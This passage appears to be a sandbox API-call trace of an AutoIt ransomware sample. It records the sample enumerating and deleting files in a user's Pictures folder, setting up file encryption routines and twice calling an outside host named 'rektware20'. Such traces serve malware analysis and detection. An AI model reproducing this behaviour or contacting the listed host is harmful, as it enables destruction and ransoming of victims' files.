wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0062.851] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\3UG1WVccEA1mPgie.png", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\3UG1WVccEA1mPgie.png", lpFilePart=0x0) returned 0x3f [0062.851] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\3UG1WVccEA1mPgie.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\e2n7ntspzkb\\3ug1wvccea1mpgie.png")) returned 0x20 [0062.851] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\3UG1WVccEA1mPgie.png", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c630 [0062.851] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\3UG1WVccEA1mPgie.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\e2n7ntspzkb\\3ug1wvccea1mpgie.png")) returned 1 [0062.855] FindNextFileW (in: hFindFile=0x164c630, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0062.855] FindClose (in: hFindFile=0x164c630 | out: hFindFile=0x164c630) returned 1 [0062.856] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0062.856] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0062.856] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0062.856] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0062.856] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\g0AqNgmF.gif", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cb30 [0062.856] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0062.856] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0062.856] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0062.856] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0062.856] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0062.856] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0062.856] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d78, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620d78, lpdwBufferLength=0x130ef8c) returned 1 [0062.856] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0062.856] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0062.857] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0062.858] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0062.858] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0062.858] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0062.858] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629150, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629150*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0062.858] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629250, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629250*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0062.858] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0062.858] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0062.858] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0062.858] CloseHandle (hObject=0x0) returned 0 [0062.859] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\g0AqNgmF.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.859] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\g0AqNgmF.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.859] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\g0AqNgmF.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.859] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\g0AqNgmF.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.859] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\g0AqNgmF.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.859] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\g0AqNgmF.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.859] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\g0AqNgmF.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.859] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\g0AqNgmF.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.859] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\g0AqNgmF.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.859] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\g0AqNgmF.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.859] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\g0AqNgmF.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.859] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\g0AqNgmF.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.859] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Pictures\\E2n7ntspZkb\\g0AqNgmF.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.859] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Pictures\\E2n7ntspZkb\\g0AqNgmF.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.859] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Pictures\\E2n7ntspZkb\\g0AqNgmF.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.859] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Pictures\\E2n7ntspZkb\\g0AqNgmF.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.859] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Pictures\\E2n7ntspZkb\\g0AqNgmF.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.859] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Pictures\\E2n7ntspZkb\\g0AqNgmF.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.859] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Pictures\\E2n7ntspZkb\\g0AqNgmF.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.859] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Pictures\\E2n7ntspZkb\\g0AqNgmF.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.859] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Pictures\\E2n7ntspZkb\\g0AqNgmF.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.859] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Pictures\\E2n7ntspZkb\\g0AqNgmF.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.859] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Pictures\\E2n7ntspZkb\\g0AqNgmF.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.859] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ictures\\E2n7ntspZkb\\g0AqNgmF.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.859] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ctures\\E2n7ntspZkb\\g0AqNgmF.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.859] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tures\\E2n7ntspZkb\\g0AqNgmF.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.859] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ures\\E2n7ntspZkb\\g0AqNgmF.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.859] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="res\\E2n7ntspZkb\\g0AqNgmF.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.859] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="es\\E2n7ntspZkb\\g0AqNgmF.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.859] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\E2n7ntspZkb\\g0AqNgmF.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.860] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\E2n7ntspZkb\\g0AqNgmF.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.860] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="E2n7ntspZkb\\g0AqNgmF.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.860] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2n7ntspZkb\\g0AqNgmF.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.860] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n7ntspZkb\\g0AqNgmF.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.860] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7ntspZkb\\g0AqNgmF.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.860] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ntspZkb\\g0AqNgmF.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.860] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tspZkb\\g0AqNgmF.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.860] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="spZkb\\g0AqNgmF.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.860] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pZkb\\g0AqNgmF.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.860] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Zkb\\g0AqNgmF.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.860] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kb\\g0AqNgmF.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.860] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="b\\g0AqNgmF.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.860] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\g0AqNgmF.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.860] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="g0AqNgmF.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.860] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0AqNgmF.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.860] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="AqNgmF.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.860] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="qNgmF.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.860] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NgmF.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.860] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="gmF.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.860] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mF.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.860] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="F.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.860] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0062.860] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.860] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0062.860] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0062.860] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0062.860] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0062.860] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0062.861] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0062.861] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0062.861] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0062.861] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f28, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620f28, lpdwBufferLength=0x130ee1c) returned 1 [0062.861] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0062.861] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0062.861] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0062.861] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0062.861] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0062.862] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0062.862] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629190, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629190*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0062.862] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629400, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629400*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0062.862] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0062.862] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0062.862] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0062.862] CloseHandle (hObject=0x0) returned 0 [0062.862] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.862] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\g0AqNgmF.gif", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0062.862] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0062.863] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.863] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0062.863] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.863] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.863] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0062.863] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.863] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0062.864] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.864] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.864] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0062.864] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.864] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.864] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.864] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.864] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.865] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0062.869] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0062.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0062.870] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0062.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0062.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164df90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0062.870] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0062.870] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aabc0) returned 1 [0062.871] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.871] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.871] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0062.872] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.872] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.872] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.872] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.872] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.872] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0062.872] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.872] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.872] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.872] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.872] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.873] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.873] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0062.873] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.873] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.873] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0062.873] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.873] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.873] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0062.873] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.874] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, 